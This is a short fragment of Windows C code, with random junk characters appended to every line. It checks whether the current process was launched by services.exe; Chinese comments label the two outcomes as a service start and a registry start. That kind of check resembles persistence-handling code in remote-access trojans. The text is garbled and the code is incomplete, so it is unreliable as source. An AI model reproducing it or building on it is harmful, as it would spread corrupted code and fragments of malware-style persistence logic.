} PROCESS_BASIC_INFORMATION; {sX*SbJt
? 1Z\=s
PROCNTQSIP NtQueryInformationProcess; tE>3.0U0Q
Bfi9%:eG
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; KC }B\~ +
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; S:Yo9~
BOt\"N
HANDLE hProcess; @3VL
_g:
PROCESS_BASIC_INFORMATION pbi; =%2 E|/
[jAhw>
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); cv#H
if(NULL == hInst ) return 0; JN|<R%hy
o<V-gS
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); g](m& O
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); '\_ic=&u
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ,wRrx&
7yQ r
if (!NtQueryInformationProcess) return 0; .P=!M
1$".7}M4$
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); qn+m lduU
if(!hProcess) return 0; 35&&*$Jm
M{~eI
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; >V;<K?5B`W
v]!|\]
CloseHandle(hProcess); 2cy{d|c
v7&$(HJ>]L
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ?KS9Dh
if(hProcess==NULL) return 0; *}[@*
M~"]h:m&'v
HMODULE hMod; hrS/3c'<Z
char procName[255]; s-8>AW
ep
unsigned long cbNeeded; >vP^l
{SD
?hfosBn&[
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); T}u '
$1Xg[>1g5
CloseHandle(hProcess); 5O*+5n
d^lA52X6P
if(strstr(procName,"services")) return 1; // 以服务启动 F},JP'\X
RKjA`cJ
return 0; // 注册表启动 @XmMD6{<